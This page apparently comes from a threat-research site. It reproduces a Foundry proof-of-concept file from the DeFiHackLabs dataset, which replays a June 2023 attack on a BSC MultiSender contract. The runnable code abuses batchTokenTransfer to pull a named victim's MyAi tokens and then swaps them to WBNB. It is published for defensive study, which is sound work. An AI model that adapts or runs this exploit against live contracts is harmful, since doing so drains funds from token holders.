Public reproduction file
src/test/2023-06/MyAi_exp.sol
Public reproduction file for dataset entry MyAi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~10 $BNB5// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d126// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b37// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f1018// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f610import "forge-std/Test.sol";11import "./../interface.sol";13interface IMultiSender {14 function batchTokenTransfer(15 address _from,16 address[] memory _address,17 uint256[] memory _amounts,18 address token,19 uint256 totalAmount,20 bool isToken21 ) external payable;22}24contract ContractTest is Test {25 IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);26 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);27 IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));28 IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);29 address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;31 function setUp() public {32 vm.createSelectFork("bsc", 29_554_344 - 1);33 vm.label(address(WBNB), "WBNB");34 vm.label(address(MyAi), "MyAi");35 vm.label(address(MultiSender), "MultiSender");36 }38 function testExploit() public {39 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);40 MyAi.approve(address(PancakeRouter), type(uint256).max);41 MyAi.approve(address(MultiSender), type(uint256).max);43 address[] memory Attack = new address[](100);44 for (uint256 i = 0; i < Attack.length; i++) {45 Attack[i] = address(this);46 }47 uint256[] memory Token = new uint256[](100);48 for (uint256 i = 0; i < Attack.length; i++) {49 Token[i] = 999_999_999_999_400;50 }52 MultiSender.batchTokenTransfer{value: 1 ether}(53 Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true54 );55 for (uint256 i = 0; i < 100; i++) {56 TOKENToWBNB();57 }58 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);59 }61 function TOKENToWBNB() internal {62 address[] memory path = new address[](2);63 path[0] = address(MyAi);64 path[1] = address(WBNB);65 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(66 999_999_999_999_400, 0, path, address(this), block.timestamp67 );68 }70 fallback() external payable {}71 receive() external payable {}72}Analysis
Dataset entry
Public Foundry test for “MyAi” (2023-06-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc47fcc9263b026033a94574ec432514c639a2d12
- Attack Contract
0x0d3aafb9ade835456b2595509ac1f58922e465b3
- Vulnerable Contract
0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101
- Attack Tx
0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6
File record
- Name
- MyAi
- Path
- src/test/2023-06/MyAi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6888cda542d65afaf528b7250c0cd9e88ceb6d3d
- Language
- Solidity
- Size
- 73 lines
- Date
- 2023-06-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/MyAi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6888cda542d65afaf528b7250c0cd9e88ceb6d3d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.